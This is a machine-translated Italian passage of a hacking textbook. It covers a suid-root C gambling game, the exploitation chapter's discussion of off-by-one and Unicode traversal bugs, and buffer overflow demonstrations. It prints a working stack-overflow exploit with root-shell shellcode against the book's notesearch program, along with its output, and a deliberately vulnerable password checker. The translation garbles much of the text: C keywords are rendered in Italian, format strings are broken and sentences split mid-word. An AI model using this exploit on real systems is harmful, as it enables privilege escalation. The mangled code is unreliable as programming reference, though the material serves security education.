printf ("La tua scommessa totale di% d è maggiore di quella che hai! \ n", total_wager);
printf ("Hai solo% d crediti disponibili, riprova. \ n", available_credits);
return -1;
}
scommessa di ritorno;
}

// Questa funzione contiene un ciclo per consentire al gioco corrente di essere


// giocato di nuovo. Scrive anche i nuovi totali del credito su file
// dopo che ogni partita è stata giocata.
void play_the_game () {
int play_again = 1;
int (* gioco) ();
selezione di caratteri;

while (play_again) {
printf ("\ n [DEBUG] puntatore_gioco corrente @ 0x% 08x \ n", giocatore.corrent_game);
if (player.current_game ()! = -1) { // Se il gioco funziona senza errori e
se (player.credits> player.highscore) // viene impostato un nuovo punteggio elevato,
player.highscore = player.credits; // aggiorna il punteggio più alto.
printf ("\ nHai ora% u crediti \ n", player.credits);
update_player_data (); // Scrivi il nuovo totale del credito su file.
printf ("Ti piacerebbe giocare di nuovo? (y / n)");
selezione = '\ n';
while (selezione == '\ n') // Elimina ogni nuova riga in più.
scanf ("% c", & selezione);
if (selezione == 'n')
play_again = 0;
}
altro // Ciò significa che il gioco ha restituito un errore,
play_again = 0; // quindi torna al menu principale.

Programmazione 107

Pagina 122
}
}

// Questa funzione è il gioco Pick a Number.


// Restituisce -1 se il giocatore non ha abbastanza crediti.
int pick_a_number () {
int pick, numero_vincente;

printf ("\ n ####### Scegli un numero ###### \ n");


printf ("Questo gioco costa 10 crediti per essere giocato. Scegli un numero \ n");
printf ("tra 1 e 20, e se scegli il numero vincente, \ n");
printf ("vincerà il jackpot di 100 crediti! \ n \ n");
numero_vincente = (rand ()% 20) + 1; // Scegli un numero compreso tra 1 e 20.
if (player.credits <10) {
printf ("Hai solo% d crediti. Non è abbastanza per giocare! \ n \ n", player.credits);
return -1; // Crediti insufficienti per giocare
}
player.credits - = 10; // Sottrai 10 crediti.
printf ("Sono stati detratti 10 crediti dal tuo account. \ n");
printf ("Scegli un numero compreso tra 1 e 20:");
scanf ("% d", & pick);

printf ("Il numero vincente è% d \ n", numero_vincente);


if (pick == winner_number)
montepremi();
altro
printf ("Mi dispiace, non hai vinto. \ n");
return 0;
}

// Questo è il gioco No Match Dealer.


// Restituisce -1 se il giocatore ha 0 crediti.
int dealer_no_match () {
int i, j, numeri [16], scommessa = -1, corrispondenza = -1;

printf ("\ n ::::::: No Match Dealer ::::::: \ n");


printf ("In questo gioco, puoi scommettere fino a tutti i tuoi crediti. \ n");
printf ("Il mazziere distribuirà 16 numeri casuali compresi tra 0 e 99. \ n");
printf ("Se non ci sono corrispondenze, raddoppia i tuoi soldi! \ n \ n");

if (player.credits == 0) {
printf ("Non hai crediti per scommettere! \ n \ n");
return -1;
}
while (scommessa == -1)
scommessa = take_wager (player.credits, 0);

printf ("\ t \ t ::: Distribuzione di 16 numeri casuali ::: \ n");


for (i = 0; i <16; i ++) {
numeri [i] = rand ()% 100; // Scegli un numero compreso tra 0 e 99.
printf ("% 2d \ t", numeri [i]);
se (i% 8 == 7) // Stampa un'interruzione di riga ogni 8 numeri.
printf ("\ n");
}
for (i = 0; i <15; i ++) { // Loop alla ricerca di corrispondenze.

108 0x200

Pagina 123

j = i + 1;
while (j <16) {
if (numeri [i] == numeri [j])
match = numeri [i];
j ++;
}
}
if (match! = -1) {
printf ("Il mazziere ha trovato il numero% d! \ n", match);
printf ("Perdi% d crediti. \ n", scommessa);
player.credits - = scommessa;
} altro {
printf ("Non c'erano corrispondenze! Hai vinto% d crediti! \ n", scommessa);
player.credits + = wager;
}
return 0;
}

// Questo è il gioco Trova l'asso.


// Restituisce -1 se il giocatore ha 0 crediti.
int find_the_ace () {
int i, asso, total_wager;
int scelta_valida, pick = -1, wager_one = -1, wager_two = -1;
char choice_two, cards [3] = {'X', 'X', 'X'};

asso = rand ()% 3; // Posiziona l'asso in modo casuale.

printf ("******* Trova l'asso ******* \ n");


printf ("In questo gioco, puoi scommettere fino a tutti i tuoi crediti. \ n");
printf ("Verranno distribuite tre carte, due donne e un asso. \ n");
printf ("Se trovi l'asso, vincerai la tua scommessa. \ n");
printf ("Dopo aver scelto una carta, verrà rivelata una delle regine. \ n");
printf ("A questo punto, puoi selezionare una carta diversa o \ n");
printf ("aumenta la tua scommessa. \ n \ n");

if (player.credits == 0) {
printf ("Non hai crediti per scommettere! \ n \ n");
return -1;
}

while (wager_one == -1) // Loop fino a quando non viene fatta una scommessa valida.
wager_one = take_wager (player.credits, 0);

print_cards ("Dealing cards", cards, -1);


pick = -1;
while ((pick <1) || (pick> 3)) {// Continua finché non viene eseguita una scelta valida.
printf ("Seleziona una carta: 1, 2 o 3");
scanf ("% d", & pick);
}
scegliere--; // Regola la scelta poiché la numerazione delle carte inizia da 0.
i = 0;
while (i == ace || i == pick) // Continua a scorrere fino a
i ++; // troviamo una regina valida da rivelare.
carte [i] = "Q";
print_cards ("Rivelare una regina", carte, plettro);
Programmazione 109

Pagina 124

invalid_choice = 1;
while (invalid_choice) { // Ciclo finché non viene effettuata una scelta valida.
printf ("Vorresti: \ n [c] appendere la tua scelta \ tor \ t [i] n aumentare la tua scommessa? \ n");
printf ("Seleziona c o i:");
choice_two = '\ n';
while (choice_two == '\ n') // Scarica le nuove righe extra.
scanf ("% c", & choice_two);
if (choice_two == 'i') {// Aumenta la puntata.
invalid_choice = 0; // Questa è una scelta valida.
while (wager_two == -1) // Continua finché non viene effettuata una seconda scommessa valida.
wager_two = take_wager (player.credits, wager_one);
}
if (choice_two == 'c') {// Cambia scelta.
i = scelta_valida = 0; // Scelta valida
while (i == pick || cards [i] == 'Q') // Loop fino all'altra carta
i ++; // è stato trovato,
pick = i; // e quindi scambia selezione.
printf ("La tua carta scelta è stata cambiata in carta% d \ n", scegli + 1);
}
}

for (i = 0; i <3; i ++) {// Rivela tutte le carte.


se (asso == i)
carte [i] = "A";
altro
carte [i] = "Q";
}
print_cards ("Risultato finale", cards, pick);

if (pick == ace) {// Gestisci la vittoria.


printf ("Hai vinto% d crediti dalla tua prima scommessa \ n", wager_one);
player.credits + = wager_one;
if (wager_two! = -1) {
printf ("e altri% d crediti dalla tua seconda scommessa! \ n", wager_two);
player.credits + = wager_two;
}
} else {// Gestisci la perdita.
printf ("Hai perso% d crediti dalla tua prima scommessa \ n", wager_one);
player.credits - = wager_one;
if (wager_two! = -1) {
printf ("e altri% d crediti dalla tua seconda scommessa! \ n", wager_two);
player.credits - = wager_two;
}
}
return 0;
}

Poiché si tratta di un programma multiutente che scrive su un file nella directory / var-
ectory, deve essere suid root.

lettore @ hacking: ~ / booksrc $ gcc -o game_of_chance game_of_chance.c


lettore @ hacking: ~ / booksrc $ sudo chown root: root ./game_of_chance
lettore @ hacking: ~ / booksrc $ sudo chmod u + s ./game_of_chance
lettore @ hacking: ~ / booksrc $ ./game_of_chance

110 0x200

Pagina 125

- = - = {Registrazione nuovo giocatore} = - = -


Inserisci il tuo nome: Jon Erickson

Benvenuto nel gioco d'azzardo, Jon Erickson.


Ti sono stati dati 100 crediti.
- = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: Jon Erickson]
[Hai 100 crediti] -> 1

[DEBUG] puntatore current_game @ 0x08048e6e

####### Scegli un numero ######


Questo gioco costa 10 crediti per giocare. Scegli semplicemente un numero
tra 1 e 20, e se scegli il numero vincente, tu
vincerà il jackpot di 100 crediti!

Sono stati detratti 10 crediti dal tuo account.


Scegli un numero compreso tra 1 e 20: 7
Il numero vincente è 14.
Scusa, non hai vinto.

Ora hai 90 crediti.


Ti piacerebbe giocare di nuovo? (y / n) n
- = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: Jon Erickson]
[Hai 90 crediti] -> 2

[DEBUG] puntatore current_game @ 0x08048f61

::::::: No Match Dealer :::::::


In questo gioco puoi scommettere fino a tutti i tuoi crediti.
Il banco distribuirà 16 numeri casuali compresi tra 0 e 99.
Se non ci sono partite tra di loro, raddoppi i tuoi soldi!

Quanti dei tuoi 90 crediti vorresti scommettere? 30


::: Distribuzione di 16 numeri casuali :::
88 68 82 51 21 73 80 50
11 64 78 85 39 42 40 95
Non c'erano partite! Vinci 30 crediti!

Ora hai 120 crediti

Programmazione 111

Pagina 126

Ti piacerebbe giocare di nuovo? (y / n) n


- = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: Jon Erickson]
[Hai 120 crediti] -> 3

[DEBUG] puntatore current_game @ 0x0804914c


******* Trova l'asso *******
In questo gioco puoi scommettere fino a tutti i tuoi crediti.
Verranno distribuite tre carte: due donne e un asso.
Se trovi l'asso, vincerai la tua scommessa.
Dopo aver scelto una carta, verrà rivelata una delle regine.
A questo punto puoi selezionare una carta diversa o
aumenta la tua scommessa.

Quanti dei tuoi 120 crediti vorresti scommettere? 50

*** Trattare carte ***


._. ._. ._.
Carte: | X | | X | | X |
123
Seleziona una carta: 1, 2 o 3: 2

*** Rivelare una regina ***


._. ._. ._.
Carte: | X | | X | | Q |
^ - la tua scelta
Vorresti
[c] appendere la tua scelta o [i] aumentare la tua scommessa?
Seleziona c o i: c
La tua scelta della carta è stata modificata in carta 1.

*** Risultato finale ***


._. ._. ._.
Carte: | A | | Q | | Q |
^ - la tua scelta
Hai vinto 50 crediti dalla tua prima scommessa.

Ora hai 170 crediti.


Ti piacerebbe giocare di nuovo? (y / n) n
- = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci

112 0x200

Pagina 127

[Nome: Jon Erickson]


[Hai 170 crediti] -> 4

==================== | PUNTEGGIO ALTO | ====================


Attualmente hai il punteggio più alto di 170 crediti!
================================================== ====

- = [Menu del gioco d'azzardo] = -


1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: Jon Erickson]
[Hai 170 crediti] -> 7

Grazie per aver giocato! Ciao.


lettore @ hacking: ~ / booksrc $ sudo su jose
jose @ hacking: / home / reader / booksrc $ ./game_of_chance
- = - = {Registrazione nuovo giocatore} = - = -
Inserisci il tuo nome: Jose Ronnick

Benvenuto nel gioco d'azzardo Jose Ronnick.


Ti sono stati dati 100 crediti.
- = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente 5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: Jose Ronnick]
[Hai 100 crediti] -> 4
==================== | PUNTEGGIO ALTO | ====================
Jon Erickson ha il punteggio più alto di 170.
================================================== ====

- = [Menu del gioco d'azzardo] = -


1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: Jose Ronnick]
[Hai 100 crediti] -> 7

Grazie per aver giocato! Ciao.


jose @ hacking: ~ / booksrc $ exit
Uscita
lettore @ hacking: ~ / booksrc $

Programmazione 113

Pagina 128

Gioca un po 'con questo programma. Il gioco Trova l'asso è un


dimostrazione di un principio di probabilità condizionata; sebbene sia contro-
intuitivo, cambiare la tua scelta aumenterà le tue possibilità di trovare l'asso
dal 33 al 50 percento. Molte persone hanno difficoltà a capire
questa verità, ecco perché è controintuitiva. Il segreto dell'hacking è
stare in piedi verità poco conosciute come questa e usarle per produrre apparentemente
risultati magici.

114 0x200

Pagina 129
0x300 SFRUTTAMENTO

Lo sfruttamento del programma è un elemento fondamentale dell'hacking. Come demone


strato nel capitolo precedente, si compone un programma
di un complesso insieme di regole a seguito di una certa esecuzione
flusso che alla fine dice al computer cosa fare.
Sfruttare un programma è semplicemente un modo intelligente per ottenere
il computer per fare quello che vuoi che faccia, anche se il file
programma attualmente in esecuzione è stato progettato per impedire tale azione. Dal
il programma può davvero fare solo ciò per cui è progettato, le falle di sicurezza lo sono
effettivamente difetti o sviste nella progettazione del programma o dell'ambiente
il programma è in esecuzione. Ci vuole una mente creativa per trovare questi buchi e
scrivere programmi che li compensino. A volte questi buchi sono
i prodotti di errori di programmazione relativamente ovvi, ma ce ne sono alcuni
errori meno evidenti che hanno dato vita a tecniche di exploit più complesse
che può essere applicato in molti posti diversi.

Pagina 130

Un programma può fare solo ciò per cui è programmato, alla lettera della legge.
Sfortunatamente, ciò che è scritto non coincide sempre con ciò che il programma-
mer voleva che il programma facesse. Questo principio può essere spiegato con una battuta:

Un uomo sta camminando nel bosco e trova una lampada magica accesa
il terreno. Istintivamente, prende la lampada, ne strofina il lato
con la manica, ed esce un genio. Il genio ringrazia l'uomo per
liberandolo, e si offre di esaudirgli tre desideri. L'uomo è estatico
e sa esattamente cosa vuole.

"Primo", dice l'uomo, "voglio un miliardo di dollari".

Il genio schiocca le dita e una valigetta piena di soldi


si materializza dal nulla.

L'uomo ha gli occhi spalancati per lo stupore e continua: "Il prossimo, voglio
una Ferrari. "

Il genio schiocca le dita e da uno sbuffo spunta una Ferrari


di fumo.

L'uomo continua: "Infine, voglio essere irresistibile per le donne".

Il genio schiocca le dita e l'uomo si trasforma in una scatola


di cioccolatini.

Proprio come il desiderio finale dell'uomo è stato esaudito in base a ciò che ha detto, piuttosto
rispetto a quello che stava pensando, un programma seguirà esattamente le sue istruzioni, e
i risultati non sono sempre quelli che il programmatore intendeva. A volte il file
le ripercussioni possono essere catastrofiche.
I programmatori sono umani e talvolta ciò che scrivono non è esattamente
cosa significano. Ad esempio, un errore di programmazione comune è chiamato
errore off-by-one . Come suggerisce il nome, è un errore in cui ha il programmatore
contato male da uno. Questo accade più spesso di quanto potresti pensare, e lo è
illustrato al meglio con una domanda: se stai costruendo una recinzione di 100 piedi, con recinzione
pali distanziati di 10 piedi l'uno dall'altro, di quanti pali hai bisogno? L'ovvio
la risposta è di 10 paletti, ma non è corretto, poiché in realtà ne servono 11. Questo
il tipo di errore off-by-one è comunemente chiamato errore fencepost e si verifica quando un file
il programmatore conta erroneamente gli elementi invece degli spazi tra gli elementi, o
vice versa. Un altro esempio è quando un programmatore sta cercando di selezionare un intervallo di
numeri o note per la lavorazione, ad esempio elementi N attraverso M . Se N = 5 e M = 17 ,
quanti articoli ci sono da elaborare? La risposta ovvia è M - N , o 17 - 5 = 12
elementi. Ma questo non è corretto, poiché in realtà ci sono M - N + 1 elementi, per un totale
di 13 elementi. A prima vista questo può sembrare controintuitivo, perché lo è, e
questo è esattamente il motivo per cui si verificano questi errori.
Spesso, gli errori di fencepost passano inosservati perché i programmi non vengono testati
ogni singola possibilità e gli effetti di un errore di fencepost generalmente non lo fanno
si verificano durante la normale esecuzione del programma. Tuttavia, quando il programma viene alimentato
l'input che rende manifesti gli effetti dell'errore, le conseguenze del
l'errore può avere un effetto valanga sul resto della logica del programma. quando
adeguatamente sfruttato, un errore off-by-one può causare un programma apparentemente sicuro
per diventare una vulnerabilità di sicurezza.
Un classico esempio di questo è OpenSSH, che è pensato per essere un sicuro
suite di programmi di comunicazione terminale, progettata per sostituire insicure e

116 0x300
Pagina 131

servizi non crittografati come telnet, rsh e rcp. Tuttavia, c'era un


errore di uno nel codice di allocazione del canale che è stato ampiamente sfruttato. Specifico-
alleato, il codice includeva un'istruzione if che diceva:

if (id <0 || id> channels_alloc) {

Sarebbe dovuto essere

if (id <0 || id> = channels_alloc) {

In inglese semplice, il codice si legge Se l'ID è minore di 0 o l'ID è maggiore


rispetto ai canali assegnati, fai le seguenti cose , quando avrebbe dovuto essere Se il file
L'ID è minore di 0 o l'ID è maggiore o uguale ai canali allocati, eseguire il
cose seguenti .
Questo semplice errore off-by-one ha consentito un ulteriore sfruttamento del
grammo, in modo che un normale utente che si autentica e accede a pieno
diritti amministrativi sul sistema. Questo tipo di funzionalità certamente non lo era
ciò che i programmatori avevano inteso per un programma sicuro come OpenSSH,
ma un computer può fare solo ciò che gli viene detto.
Un'altra situazione che sembra generare errori di programmazione sfruttabili è
quando un programma viene modificato rapidamente per espandere le sue funzionalità. Mentre questo
l'aumento della funzionalità rende il programma più commerciabile e aumenta
il suo valore, aumenta anche la complessità del programma, che aumenta il
possibilità di svista. Il programma server Web IIS di Microsoft è progettato per
offrire agli utenti contenuti web statici e interattivi. Per fare ciò,
il programma deve consentire agli utenti di leggere, scrivere ed eseguire programmi e file
all'interno di determinate directory; tuttavia, questa funzionalità deve essere limitata a quelle
directory particolari. Senza questa limitazione, gli utenti avrebbero il pieno controllo di
il sistema, che è ovviamente indesiderabile dal punto di vista della sicurezza. Per
evitare questa situazione, il programma ha un codice di controllo del percorso progettato per
impedisce agli utenti di utilizzare il carattere barra rovesciata per spostarsi all'indietro
l'albero delle directory e immettere altre directory.
Con l'aggiunta del supporto per il set di caratteri Unicode, tuttavia, il
la complessità del programma ha continuato ad aumentare. Unicode è un doppio byte
set di caratteri progettato per fornire caratteri per ogni lingua, inclusi
Cinese e arabo. Utilizzando due byte per ogni carattere invece di uno solo,
Unicode consente decine di migliaia di possibili caratteri, al contrario di
le poche centinaia consentite dai caratteri a byte singolo. Questa complessità aggiuntiva
significa che ora ci sono più rappresentazioni del carattere backslash
ter. Ad esempio, % 5c in Unicode si traduce nel carattere barra rovesciata, ma
questa traduzione è stata eseguita dopo l'esecuzione del codice di controllo del percorso. Quindi usando
% 5c invece di \ , era effettivamente possibile attraversare le directory, consentendo
i suddetti pericoli per la sicurezza. Sia il worm Sadmind che il file
Il worm CodeRed ha utilizzato questo tipo di controllo della conversione Unicode per deturpare
pagine web.
Un esempio correlato di questo principio della lettera della legge utilizzato al di fuori di
regno della programmazione informatica è LaMacchia Loophole. Proprio come il
regole di un programma per computer, il sistema legale degli Stati Uniti a volte ha regole che

Sfruttamento 117

Pagina 132

non dire esattamente ciò che intendevano i loro creatori e come un programma per computer
exploit, queste scappatoie legali possono essere utilizzate per eludere l'intento della legge.
Verso la fine del 1993, un hacker di computer di 21 anni e studente al MIT
denominato David LaMacchia ha istituito un sistema di bacheca chiamato Cynosure per
gli scopi della pirateria del software. Coloro che avevano software da dare avrebbero caricato
e coloro che volevano il software lo avrebbero scaricato. Il servizio era solo
online per circa sei settimane, ma ha generato un intenso traffico di rete in tutto il mondo,
che alla fine ha attirato l'attenzione delle autorità universitarie e federali.
Le società di software hanno affermato di aver perso un milione di dollari a causa di
Cynosure e un gran giurì federale hanno accusato LaMacchia di un conteggio di
cospirando con sconosciuti per violare la statua della frode. Però,
l'accusa è stata archiviata perché ciò che avrebbe fatto LaMacchia
non è stata una condotta criminale ai sensi del Copyright Act, dopo la violazione
non era a scopo di vantaggio commerciale o di guadagno finanziario privato.
A quanto pare, i legislatori non avevano mai previsto che qualcuno potesse impegnarsi
in questi tipi di attività con un motivo diverso dal guadagno economico personale.
(Il Congresso ha chiuso questa scappatoia nel 1997 con il No Electronic Theft Act.)
Anche se questo esempio non implica lo sfruttamento di un computer
programma, i giudici e i tribunali possono essere considerati come computer in esecuzione
il programma del sistema legale così come è stato scritto. I concetti astratti di
l'hacking trascende l'informatica e può essere applicato a molti altri aspetti
di vita che coinvolgono sistemi complessi.

0x310 Tecniche di exploit generalizzate


Errori improvvisi e un'espansione Unicode impropria sono tutti errori che possono
sono difficili da vedere in quel momento ma sono palesemente ovvie per qualsiasi programmatore in
senno di poi. Tuttavia, ci sono alcuni errori comuni che possono essere sfruttati
in modi che non sono così ovvi. L'impatto di questi errori sulla sicurezza non lo è
sempre evidenti e questi problemi di sicurezza si trovano ovunque nel codice.
Poiché lo stesso tipo di errore viene commesso in molti luoghi diversi,
le tecniche di exploit su misura si sono evolute per trarre vantaggio da questi errori e
possono essere utilizzati in una varietà di situazioni.
La maggior parte degli exploit del programma hanno a che fare con la corruzione della memoria. Questi includono
tecniche di exploit comuni come buffer overflow e meno comuni
metodi come gli exploit della stringa di formato. Con queste tecniche, l'obiettivo finale
è prendere il controllo del flusso di esecuzione del programma di destinazione ingannandolo
eseguire un codice dannoso che è stato introdotto di nascosto nella memoria.
Questo tipo di dirottamento del processo è noto come esecuzione di codice arbitrario , poiché il file
un hacker può fare in modo che un programma faccia praticamente tutto ciò che vuole.
Come la LaMacchia Loophole, questi tipi di vulnerabilità esistono perché
ci sono casi imprevisti specifici che il programma non può gestire. Sotto
condizioni normali, questi casi imprevisti causano il crash del programma—
guidare metaforicamente il flusso dell'esecuzione da un dirupo. Ma se l'ambiente
è attentamente controllato, il flusso di esecuzione può essere controllato, impedendo il
crash e riprogrammare il processo.

118 0x300

Pagina 133

0x320 Buffer overflow


Le vulnerabilità di overflow del buffer esistono sin dai primi giorni di
puters ed esistono ancora oggi. La maggior parte dei worm Internet utilizza una vulnerabilità di overflow del buffer
capacità di propagazione e persino la più recente vulnerabilità VML zero-day
in Internet Explorer è dovuto a un overflow del buffer.
C è un linguaggio di programmazione di alto livello, ma presuppone che il
il programmatore è responsabile dell'integrità dei dati. Se questa responsabilità fosse
spostato al compilatore, i binari risultanti sarebbero significativamente
più lento, a causa dei controlli di integrità su ogni variabile. Inoltre, questo rimuoverebbe un file
livello significativo di controllo da parte del programmatore e complicare il
linguaggio.
Mentre la semplicità di C aumenta il controllo e l'efficienza del programmatore
dei programmi risultanti, può anche risultare in programmi che sono vulnerabili
per buffer overflow e perdite di memoria se il programmatore non è attento. Questo
significa che una volta che una variabile è stata allocata in memoria, non ci sono
protegge per garantire che il contenuto di una variabile si adatti alla memoria allocata
spazio. Se un programmatore vuole mettere dieci byte di dati in un buffer che aveva
sono stati assegnati solo otto byte di spazio, anche quel tipo di azione è consentito
sebbene molto probabilmente causerà il crash del programma. Questo è noto come
buffer overrun o buffer overflow , poiché i due byte di dati extra andranno in overflow
e fuoriuscire dalla memoria allocata, sovrascrivendo qualsiasi cosa accada
vieni dopo. Se un dato critico viene sovrascritto, il programma andrà in crash.
Il codice overflow_example.c offre un esempio.

overflow_example.c

#include <stdio.h>
#include <string.h>

int main (int argc, char * argv []) {


valore int = 5;
char buffer_one [8], buffer_two [8];

strcpy (buffer_one, "one"); / * Mette "uno" in buffer_one. * /


strcpy (buffer_two, "due"); / * Mette "due" in buffer_two. * /

printf ("[PRIMA] buffer_two è in% p e contiene \ '% s \' \ n", buffer_two, buffer_two);
printf ("[BEFORE] buffer_one è in% p e contiene \ '% s \' \ n", buffer_one, buffer_one);
printf ("[PRIMA] il valore è a% p ed è% d (0x% 08x) \ n", & value, value, value);

printf ("\ n [STRCPY] copiando% d byte in buffer_two \ n \ n", strlen (argv [1]));
strcpy (buffer_two, argv [1]); / * Copia il primo argomento in buffer_two. * /

printf ("[DOPO] buffer_two è in% p e contiene \ '% s \' \ n", buffer_two, buffer_two);
printf ("[DOPO] buffer_one è in% p e contiene \ '% s \' \ n", buffer_one, buffer_one);
printf ("[DOPO] il valore è a% p ed è% d (0x% 08x) \ n", & value, value, value);
}

Sfruttamento 119

Pagina 134

A questo punto, dovresti essere in grado di leggere il codice sorgente sopra e capirlo
cosa fa il programma. Dopo la compilazione nell'output di esempio di seguito, proviamo
per copiare dieci byte dal primo argomento della riga di comando in buffer_two , che
ha solo otto byte allocati per esso.

reader @ hacking: ~ / booksrc $ gcc -o overflow_example overflow_example.c


reader @ hacking: ~ / booksrc $ ./overflow_example 1234567890
[PRIMA] buffer_two è a 0xbffff7f0 e contiene "due"
[BEFORE] buffer_one è a 0xbffff7f8 e contiene "uno"
[PRIMA] il valore è a 0xbffff804 ed è 5 (0x00000005)

[STRCPY] copia 10 byte in buffer_two

[DOPO] buffer_two è a 0xbffff7f0 e contiene "1234567890"


[DOPO] buffer_one è a 0xbffff7f8 e contiene "90"
[DOPO] il valore è a 0xbffff804 ed è 5 (0x00000005)
lettore @ hacking: ~ / booksrc $

Si noti che buffer_one si trova direttamente dopo buffer_two in memoria, quindi


quando dieci byte vengono copiati in buffer_two , gli ultimi due byte di 90 vanno in overflow
in buffer_one e sovrascrivi tutto ciò che c'era.
Un buffer più grande traboccherà naturalmente nelle altre variabili, ma se un file
viene utilizzato abbastanza buffer, il programma andrà in crash e morirà.

reader @ hacking: ~ / booksrc $ ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAA


[BEFORE] buffer_two è a 0xbffff7e0 e contiene "due"
[BEFORE] buffer_one è a 0xbffff7e8 e contiene "uno"
[PRIMA] il valore è 0xbffff7f4 ed è 5 (0x00000005)

[STRCPY] copia 29 byte in buffer_two

[DOPO] buffer_two è a 0xbffff7e0 e contiene


"AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
[DOPO] buffer_one è a 0xbffff7e8 e contiene "AAAAAAAAAAAAAAAAAAAA"
[DOPO] il valore è a 0xbffff7f4 ed è 1094795585 (0x41414141)
Errore di segmentazione (core dump)
lettore @ hacking: ~ / booksrc $

Questi tipi di crash del programma sono abbastanza comuni: pensa a tutti i
volte un programma si è arrestato in modo anomalo o ha visualizzato una schermata blu. Il programmatore
l'errore è uno di omissione: dovrebbe esserci un controllo della lunghezza o una restrizione
l'input fornito dall'utente. Questi tipi di errori sono facili da fare e possono esserlo
difficile da individuare. In effetti, il programma notesearch.c a pagina 93 contiene un buffer
bug di overflow. Potresti non averlo notato fino ad ora, anche se tu
conoscevano già C.

reader @ hacking: ~ / booksrc $ ./notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------- [dati di fine nota] -------
Errore di segmentazione
lettore @ hacking: ~ / booksrc $

120 0x300

Pagina 135

I crash del programma sono fastidiosi, ma nelle mani di un hacker possono


diventare decisamente pericoloso. Un hacker esperto può assumere il controllo di un file
programma mentre si blocca, con alcuni risultati sorprendenti. Il file exploit_notesearch.c
il codice dimostra il pericolo.

exploit_notesearch.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode [] =
"\ x31 \ xc0 \ x31 \ xdb \ x31 \ xc9 \ x99 \ xb0 \ xa4 \ xcd \ x80 \ x6a \ x0b \ x58 \ x51 \ x68"
"\ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x51 \ x89 \ xe2 \ x53 \ x89"
"\ xe1 \ xcd \ x80";

int main (int argc, char * argv []) {


unsigned int i, * ptr, ret, offset = 270;
char * comando, * buffer;

comando = (char *) malloc (200);


bzero (comando, 200); // Azzera la nuova memoria.

strcpy (comando, "./notesearch \ '"); // Avvia il buffer dei comandi.


buffer = comando + strlen (comando); // Imposta il buffer alla fine.

if (argc> 1) // Imposta offset.


offset = atoi (argv [1]);

ret = (unsigned int) & i - offset; // Imposta l'indirizzo di ritorno.

for (i = 0; i <160; i + = 4) // Riempi il buffer con l'indirizzo di ritorno.


* ((unsigned int *) (buffer + i)) = ret;
memset (buffer, 0x90, 60); // Costruisci la slitta NOP.
memcpy (buffer + 60, shellcode, sizeof (shellcode) -1);

strcat (comando, "\ '");

sistema (comando); // Esegui exploit.


libero (comando);
}

Il codice sorgente di questo exploit verrà spiegato in dettaglio più avanti, ma in generale,
sta solo generando una stringa di comando che eseguirà il programma di ricerca delle note
gram con un argomento della riga di comando tra virgolette singole. Usa la stringa
funzioni per fare ciò: strlen () per ottenere la lunghezza corrente della stringa (in position
il puntatore del buffer) e strcat () per concatenare le virgolette singole di chiusura al file
fine. Infine, la funzione di sistema viene utilizzata per eseguire la stringa di comando.
Il buffer che viene generato tra le virgolette singole è la vera carne del
sfruttare. Il resto è solo un metodo di consegna per questa pillola velenosa di dati. Orologio
cosa può fare un incidente controllato.

Sfruttamento 121

Pagina 136

reader @ hacking: ~ / booksrc $ gcc exploit_notesearch.c


lettore @ hacking: ~ / booksrc $ ./a.out
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
------- [dati di fine nota] -------
sh-3.2 #

L'exploit è in grado di utilizzare l'overflow per fornire una shell di root, fornendo
pieno controllo sul computer. Questo è un esempio di un buffer basato sullo stack
exploit di overflow.

0x321 Vulnerabilità di overflow del buffer basato sullo stack


L'exploit notesearch funziona corrompendo la memoria per controllare l'esecuzione
flusso. Il programma auth_overflow.c dimostra questo concetto.

auth_overflow.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication (char * password) {


int auth_flag = 0;
char password_buffer [16];

strcpy (password_buffer, password);

if (strcmp (password_buffer, "brillig") == 0)


auth_flag = 1;
if (strcmp (password_buffer, "outgrabe") == 0)
auth_flag = 1;

return auth_flag;
}

int main (int argc, char * argv []) {


if (argc <2) {
printf ("Utilizzo:% s <password> \ n", argv [0]);
uscita (0);
}
if (check_authentication (argv [1])) {
printf ("\ n - = - = - = - = - = - = - = - = - = - = - = - = - = - \ n");
